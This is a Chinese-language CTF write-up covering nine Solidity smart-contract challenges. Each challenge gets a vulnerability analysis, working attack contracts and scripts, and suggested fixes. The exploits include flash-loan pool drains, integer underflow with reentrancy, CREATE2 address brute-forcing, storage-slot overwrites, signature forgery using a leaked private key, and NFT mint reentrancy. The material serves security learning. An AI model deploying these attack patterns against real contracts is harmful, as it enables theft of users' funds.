代码仓库:bengda233/cangku: my sources (github.com)
第一题:
分析:
这个题很简单,满足Complete。
思路1. 我们直接调用flashLoan
把token0全部借走,然后在receiveEther方法里面调用Complete
,再还钱就ok了。但是这种只能短暂地满足Complete
。
思路2. 先借钱flashloan
把一万个token0全部借走,然后在receiveEther
里approve,再拿我们借的token0去换token1,这样全部的token0就还回去了,能够通过flashloan
的最后000一个require.并且我们手上还拿到了token1。
再用token1去换token0,这样pool的token0的balance就为0了。
攻击合约
1.攻击合约
contract attack{
TrusterLenderPool pool;
Cert token0;
constructor(address _pool,address _token0){
pool = TrusterLenderPool(_pool);
token0 = Cert(_token0);
}
function att()public{
pool.flashLoan(100000000000000000000,address(this));
}
function receiveEther(uint256 borrowAmount)public{
pool.Complete();
token0.transfer(address(pool),borrowAmount);
}
}
2.攻击合约
contract attack2{
Cert public token0;
Cert public token1;
TrusterLenderPool public pool=TrusterLenderPool(0xdDb68Efa4Fdc889cca414C0a7AcAd3C5Cc08A8C5);
constructor(address token0Address,address token1Address){
token0 =Cert(token0Address);
token1=Cert(token1Address);
}
function att()public {
pool.flashLoan(10000000000000000000000,address(this));
pool.swap(address(token0),10000000000000000000000);
}
function receiveEther(uint256 borrowAmount)public{
token0.approve(address(pool),10000000000000000000000);
token1.approve(address(pool),10000000000000000000000);
pool.swap(address(token1),10000000000000000000000);
}
}
修复:
在flashloan函数最后不仅要检查token1还要检查token2
第二题:
分析:
这个题的漏洞在于transferPoints方法没有对to的地址进行检验,导致我们可以不断自己给自己转积分,导致积分增加
攻击代码:
contract attack{
SVip svip=SVip(0x27861826c09999CC4685E8E16D186CAAc821Ad95);
function att()public {
for(uint8 i=0;i<98;i++){
svip.getPoint();
}
for(uint8 j=0;j<11;j++){
svip.transferPoints(address(this),90);
}
}
function transf()public{
svip.transferPoints(msg.sender,999);
}
}
修复:
在transferPoints函数里添加一行require判断是否给本地址转账的语句即可
第三题:
分析:
通过阅读代码,我们不难发现该合约是要通过merkle树实现验证用户地址是否在白名单(树)上。MerkleProof库通过叶子和路径推出根哈希,再和原本的root比较,如果一样则说明该叶子在这棵树上。
漏洞在于min函数原本应该选出最小的,这里a >b?a:b 却是选出最大的。Withdraw最后一步转移amount,balance中最小的给当前用户,但是由于min函数的错误,变成转移最大的给当前用户。 因此,我们可以利用这个漏洞转移出当前合约里所有的余额(当余额大于1时).
但是还有一个问题,我们不是部署者白名单上的地址,我们得想办法执行setMerkleroot
函数改变root,生成带有我们地址的merkle树。
聚焦到onlyOwner上
结合mask的值,我们明白,只要地址满足和owner前2位一样就能通过onlyOwner
因此我们需要用create2构造和owner前2位一样的地址给攻击合约。
攻击思路及代码
先把白名单的地址列出来,然后用这几个地址加我们自己的地址生成一棵Merkel树,再把Merkel树的root传入合约进行部署。 这里我用JavaScript生成Merkel树,代码如下:
const { MerkleTree } = require('merkletreejs');
cost keccak256 = require('keccak256')
const whitelistAddress = ['0x5B38Da6a701c568545dCfcB03FcB875f56beddC4',
'0xA5A18D604b438B405a1C5a11F1cb923DBaC7bA1B', ' 0x9470F6dE2A4787a534CD21C8E115CFE1513189DA']
const leafNodes = whitelistAddress.map((addr) => keccak256(addr))
const merkleTree = new MerkleTree(leafNodes, keccak256, { sortPairs: true })
const rootHash = merkleTree.getHexRoot()
console.log('merkleTree:', merkleTree.toString())
console.log('rootHash:', merkleTree.getHexRoot())
console.log("-----------------");
console.log("生成 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 proof");
Const proof = merkleTree.getHexProof(keccak256("0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"));
console.log("proof:",proof); // 只有在列表中的才可以生成出proof
console.log("------------------");
console.log("认证 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 是否在白名单中");
const v = merkleTree.verify(proof,keccak256("0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"),rootHash);
console.log(v);
得到的结果:
create2代码:
from web3 import Web3
s1='0xffb7bb1792BBfabbA361c46DC5860940e0E1bFb4b9'
s3='c5a2488cc3d767fc5c5b071b6d4fd993d4621adab4f13c2d0c5ca38a3c82ff2e'
i=0
while(1):
salt =hex(i)[2:].rjust(64,'0')
s=s1+salt+s3
hashed=Web3.sha3(hexstr = s)
hashed_str=''.join(['%02x' %b for b in hashed])
if 'ab' in hashed_str[24:26]:
print(salt,hashed_str)
break
i+=1
print(salt)
得到的结果salt:0000000000000000000000000000000000000000000000000000000000000052
得到攻击合约地址:ab9401c8cf35aa683cec3d664149ba015c61ed19
Deploy合约
deploy合约使用create2将攻击合约部署上去
攻击合约代码
修复:
1.min方法里将 a >b?a:b改为a<b?a:b
2.将mask改为hex"fffffffffffffffffffffffffffffffffffffffff"
第四题:
分析:
先看finish完成条件。
1.Times>=100
2.我们需要成为owner
Times>=100可以利用sell方法下溢。
owner可以通过changestatus函数里,两次外部调用不一致实现并且满足攻击合约地址后四位为ffff。
但是require(_balances[msg.sender] >= _amount); 这个限制,我们用一个账户是不行的,要再创一个账户然后把钱转给一个账户
攻击思路
1.用create2写一个攻击合约,地址后四位为ffff
2.攻击合约里重写Changing接口,使每次调用Changing里isOwner返回不一样
3.调用changestatus和changeOwner将owner拿到
4.owner转给0x220866B1A2219f40e72f5c628B65D54268cA3A9D
5.调用buy方法
6.再写一个合约,调用buy方法,再把balance全转给攻击合约
7.执行sell函数
8.在回退函数里再次调用sell函数 (此时下溢成功)
9.调用changestatus和changeOwner将owner拿到
10.执行finish
攻击代码
攻击合约:
pragma solidity ^0.5.0;
import "./OwnerBuy.sol";
contract attack{
uint public count;
uint public count2;
OwnerBuy ownerbuy=OwnerBuy(0xd9145CCE52D386f254917e481eB44e9943F39138);
function isOwner(address addr) external returns (bool){
if (count ==0){
count++;
return false;
}else{
count--;
return true;
}
}
function getowner()public {
ownerbuy.changestatus(address(this));
ownerbuy.changeOwner();
}
function changeowner()public {
ownerbuy.transferOwnership(0x220866B1A2219f40e72f5c628B65D54268cA3A9D);
}
function att1()public{ //执行前地址是0x22
ownerbuy.buy.value(1)(); //msg.value=1wei
}
function white()public {//执行要把owner拿回来
ownerbuy.setWhite(address(ownerbuy));
ownerbuy.setWhite(address(this));
}
function att2()public{
ownerbuy.sell(200);
}
function finish1()public{
ownerbuy.finish();
}
function money()public payable{
}
function()external payable{
if (count2==0){
count2++;
ownerbuy.sell(200);
}else{
}
}
}
contract attack2{
OwnerBuy ownerbuy=OwnerBuy(0xd9145CCE52D386f254917e481eB44e9943F39138);
function att1()public payable{
ownerbuy.buy.value(1)();
}
function transf(address addr)public{
ownerbuy.transfer(addr,ownerbuy.balanceOf(address(this)));
}
function money()public payable{
}
}
create2的deployer:
contract deployer{
bytes contractBytecode = hex"608060405273d9145cce52d386f254917e481eb44e9943f39138600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006557600080fd5b50610930806100756000396000f3fe6080604052600436106100915760003560e01c806338a396811161005957806338a39681146102555780634ddd108a1461026c57806368b8d10e14610276578063a08110741461028d578063fe0174bd146102a457610091565b806306661abd146101685780631d63e24d146101935780632ede53a3146101be5780632f54bf6e146101d5578063327aeead1461023e575b6000600154141561016557600160008154809291906001019190505550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561012457600080fd5b505af1158015610138573d6000803e3d6000fd5b505050506040513d602081101561014e57600080fd5b810190808051906020019092919050505050610166565b5b005b34801561017457600080fd5b5061017d6102bb565b6040518082815260200191505060405180910390f35b34801561019f57600080fd5b506101a86102c1565b6040518082815260200191505060405180910390f35b3480156101ca57600080fd5b506101d36102c7565b005b3480156101e157600080fd5b50610224600480360360208110156101f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061036f565b604051808215151515815260200191505060405180910390f35b34801561024a57600080fd5b506102536103b1565b005b34801561026157600080fd5b5061026a610480565b005b610274610534565b005b34801561028257600080fd5b5061028b610536565b005b34801561029957600080fd5b506102a26105e0565b005b3480156102b057600080fd5b506102b96107be565b005b60005481565b60015481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d56b28896040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561033157600080fd5b505af1158015610345573d6000803e3d6000fd5b505050506040513d602081101561035b57600080fd5b810190808051906020019092919050505050565b6000806000541415610395576000808154809291906001019190505550600090506103ac565b600080815480929190600190039190505550600190505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b73220866b1a2219f40e72f5c628b65d54268ca3a9d6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561046657600080fd5b505af115801561047a573d6000803e3d6000fd5b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156104f657600080fd5b505af115801561050a573d6000803e3d6000fd5b505050506040513d602081101561052057600080fd5b810190808051906020019092919050505050565b565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6f2ae3a60016040518263ffffffff1660e01b81526004016020604051808303818588803b1580156105a157600080fd5b505af11580156105b5573d6000803e3d6000fd5b50505050506040513d60208110156105cc57600080fd5b810190808051906020019092919050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106a357600080fd5b505af11580156106b7573d6000803e3d6000fd5b505050506040513d60208110156106cd57600080fd5b810190808051906020019092919050505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561078057600080fd5b505af1158015610794573d6000803e3d6000fd5b505050506040513d60208110156107aa57600080fd5b810190808051906020019092919050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166351ec819f306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561085f57600080fd5b505af1158015610873573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166362a094776040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156108e157600080fd5b505af11580156108f5573d6000803e3d6000fd5b5050505056fea265627a7a723158208dbc2ee0a046073718e988a165d479b12d69ba88e5ac7e6d5a3a90e14300b47664736f6c63430005110032";
function deploy(bytes32 salt) public {
bytes memory bytecode = contractBytecode;
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
}
function getHash()public returns(bytes32){
return keccak256(contractBytecode);
}
}
create2脚本:
from web3 import Web3
s1='0xff615843de4553C75Ff80519da1AfA9469141c1B02'
s3='c23b1cde3aa9fdf9cac1eba8487c18efdb47b0db8ee80dbb242645555653862b'
i=0
while(1):
salt =hex(i)[2:].rjust(64,'0')
s=s1+salt+s3
hashed=Web3.sha3(hexstr = s)
hashed_str=''.join(['%02x' %b for b in hashed])
if 'ffff' in hashed_str[60:]:
print(salt,hashed_str)
break
i+=1
print(salt)
修复:
1.不安全的外部调用---mapping用户对应的status,直接修改为!status[msg.sender]
2.对于调用者的弱限制(create2)---加强限制或者直接指定地址(不过此处为题目考点,不做修复)
3.Selfdestruct引起的以外的ether---在智能合约中自毁引起的转账是不可控且不可避免的,可以选择添加fallback函数,调用对应deposit函数对msg.sender进行存款或直接fallback调用方法将金额转账至一个Valut合约
4.不安全的数值计算方式引起的数值下溢出---使用更新的编译器或者引用SafeMath库
5.Call调用引起的重入漏洞---对于题目这种没有实际必要的call调用可以取消,若实际需要可以选择添加重入锁,并且将必要变量的修改放置于call调用前
第五题
分析:
要求:让LostAssets合约WETH代币的余额为0
整个代码看下来唯一问题可能出现点就在depositWithPermit函数
然后我们去看permit
去看ecrecover
solidity | 签名 | ecrecover函数有什么用途? - 知乎 (zhihu.com)
然后发现这一切都没有用。。。
重新看一下这个方法:
underlying根本就没有继承ERC20Permit,也就是说:MockWETH根本就没有这个方案 所以任意数据都可以执行成功depositWithPermit函数.
好的直接执行它
成功
修复:
WETH合约继承ERC20Permit
第六题
分析:
这个题主要是考的存储 完成条件:
得到admin,让gasdeposit达到9999999999999999999999999999999999。
来看这题存储:
constant有另外的存储方式,并非从slot0开始顺序排下。
slot[0]为aaaa
slot[1]为admin
slot[2]为gasDeposits的长度
setLogicContract函数中使用了StorageSlot库中的方法进行修改变量,并且使用了storage的存储方式并且还没有限制。这将导致我们可以利用此覆盖任意插槽的值。
攻击过程
setLogicContract的key相当于一个指针,contractAddress就是value。具体逻辑看StorageSlot合约。
1.将slot[1]的地址改为我们自己
查看admin,成功
2.计算gasDeposits的存储位置
contract jisuan{
function jisuan1()public returns(bytes32){
return keccak256(abi.encode(0x000000000000000000005B38Da6a701c568545dCfcB03FcB875f56beddC4,uint(2)));
}
}
将拿到的结果,去修改slot
成功!
修复:
setLogicContract加上权限修饰
第七题
完成条件:初始化我们有100,通过要求我们的余额大于100,那么只需要我们借到钱然后在自己重写的onFlashLoan函数中调用Complete函数。
但是需要我们通过
require(ECDSAUpgradeable.recover(msgHash,v,r,s) == ECDSAUpgradeable.recover(message, signature),"Error signer!");
恢复一下他给的hash、r、s、v的地址:0x001d3F1ef827552Ae1114027BD3ECF1f086bA0F9
1.这个地址我们可以直接google直接出他的私钥:
private_key = 0xf8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315
2.可以去查询该地址的交易,是否有交易详情有相同的r,如果有就可以会恢复出私钥
私钥拥有了就可以算出signature。
签名生成脚本:
from eth_account import Account
messagehash = "0x24904b398df73a69c6da11c83c00fc171f3684cb6d07782c6fb333ebdea4d469"
private_key_hex="0xf8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315"
signed_message = Account.signHash(message_hash=messagehash,
private_key=private_key_hex)
print("signature =",signed_message)
攻击合约:
contract FlashBorrower{
function onFlashLoan(address initiator, address token, uint256 amount, bytes calldata data) external returns (bool){
FlashLoanMain main=FlashLoanMain(0xd9145CCE52D386f254917e481eB44e9943F39138);
main.Complete();
ICert cert =ICert(0x5C9eb5D6a6C2c1B3EFc52255C0b356f116f6f66D);
cert.approve(0x73d5596F97950f1048b251E3e3Ee5ab888d76d37,amount);
return true;
}
}
执行flashloan
成功!
修复:
用未公开的私钥
第八题
这道题难度很大,特别是没有对于没有阅读过银行合约的
此题成功条件:
票数大于2/3,成为ValidatorOwner。
拿到1000000成为MasterChef的owner
梳理一下代码逻辑:
此题大部分逻辑在MasterChef合约里,该合约是活期存款合约。
对PoolInfo的一个解析:
UserInfo的解析:
函数解析:
transferOwnership:只要钱>1000000就能转走owner
airdorp:只空投1000个
pendingSushi:计算当前你可以拿的利息
updatePool:更新池子,主要是更新利率
deposit:存钱,存钱之前会把你之前的所有利息转给你(amount现利率-amount之前利率=这段时间的利息)
withdraw:取钱
emergencyWithdraw:紧急取钱,取出所有的钱,并且不会给你任何利息
漏洞分析
emergencyWithdraw里,读取pool和user时,用的memory。也就是说仅仅是读取storage作为数据,修改也只是修改memory变量,并没有实际的修改合约的storage变量,就是说我们可以无限取钱。
但是我们不能取超过合约balance的钱数,也就是只能取到1千万,但是距离我们通过的1亿一千万的三分之二(74千万)还差很远
不过,我们可以通过不同账号之间相互转钱然后vote达到要求。
攻击代码:
contract attack{
Governance governace=Governance(0xd9145CCE52D386f254917e481eB44e9943F39138);
MasterChef chef=MasterChef(0x5C9eb5D6a6C2c1B3EFc52255C0b356f116f6f66D);
//需68个helper
helper[68] public helpers;
constructor ()public{
for (uint256 r=0;r<68;r++){
helpers[r]=new helper();
}
}
//拿到空投1000
function getairdorp()public {
for (uint256 i=0;i<500;i++){
chef.airdorp();
}
}
//存钱先approve
function appr()public {
chef.approve(address(chef),1000);
}
//先将1000存进去
function att()public {
chef.deposit(0,1000);
}
//紧急取钱拿到1000000
function withdraw1()public{
for(uint256 j=0;j<1000;j++){
chef.emergencyWithdraw(0);
}
}
//改变owner
function getowner()public {
chef.transferOwnership(address(this));
}
//投票
function vote1()public {
governace.vote(address(this));
}
//helper投票
function vote2()public {
for (uint256 i=0;i<68;i++){
helpers[i].bollow();
}
}
function flashloan() public {
chef.transfer(msg.sender,chef.balanceOf(address(this)));
helper(msg.sender).vote1();
require(chef.balanceOf(address(this))==1000000);
}
//夺旗
function finally()public{
governace.setValidator();
governace.setflag();
}
}
contract helper{
Governance governace=Governance(0xd9145CCE52D386f254917e481eB44e9943F39138);
MasterChef chef=MasterChef(0x5C9eb5D6a6C2c1B3EFc52255C0b356f116f6f66D);
//借钱
function bollow()public{
attack(msg.sender).flashloan();
}
//投票
function vote1()public {
chef.transferOwnership(address(this));
governace.vote(address(msg.sender));
return1();
}
//还钱回去
function return1()public {
chef.transfer(msg.sender,chef.balanceOf(address(this)));
}
}
第九题
解题条件:我们手上的nft拿到288以上
这个题阅读下来让我很懵逼,为什么可以送分到这个地步?直接执行becomeAnArtist就能通过isCompleted了。
但是题是解了,漏洞还是得找找
这个题的漏洞也比较明显,就是重入。在完成铸币交易之前,我们只需要重入这个函数,即可让tokenId一直累加,一直铸币。
safeMint函数,会检查合约账户的资质,在这个检查过程中会调用调用者合约的onERC721Received函数,我们便可以通过编译攻击合约的此函数实现重入攻击
攻击思路
攻击就是通过safeMint函数会回调onERC721Received实现,只要此函数返回这个函数的选择器,合约的铸币资质就会判断成功。那么我们只需要在返回选择器之前,再次调用被攻击合约的theHope函数,即可完成递归调用,通过每次递归n变量的增长来控制递归的次数,就形成了重入攻击。
但是此攻击方式无法完成iscompleted函数,想要完成需要重入288次,但是当重入到达107次的时候gas就跑到0.073了,gas跑满也就无法执行下一次return。
但是可以看到theHope和hopeIsInSight对地址的要求是矛盾的,也就是说我们想要重入两次的话就得先找到一个不能mod88和一个可以mod88的合约地址进行两次分别调用,再把钱转到一个地址,但是即使这样,也不能达到288。
contract attack is IERC721Receiver{
EverytingIsArt art =EverytingIsArt(0xc5a5C42992dECbae36851359345FE25997F5C42d);
uint256 n1 =1;
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
)public override returns (bytes4){
if(n1<106){
n1++;
art.theHope();
return this.onERC721Received.selector;
}
return this.onERC721Received.selector;
}
function attack1()public {
art.theHope();
}
}
contract attack2 is IERC721Receiver{
EverytingIsArt art =EverytingIsArt(0xc5a5C42992dECbae36851359345FE25997F5C42d);
uint256 n1 =1;
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
)public override returns (bytes4){
if(n1<106){
n1++;
art.hopeIsInSight();
return this.onERC721Received.selector;
}
return this.onERC721Received.selector;
}
function attack()public {
art.hopeIsInSight();
}
function transf()public {
art.approve(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266,art.balanceOf(address(this)));
}
}
contract depoly{
attack2 public att;
function del()public returns(address){
for (uint i =0;i>=0;i++){
att = new attack2();
if (uint160(address(att))%88==0){
break;
}
}
return address(att);
}
}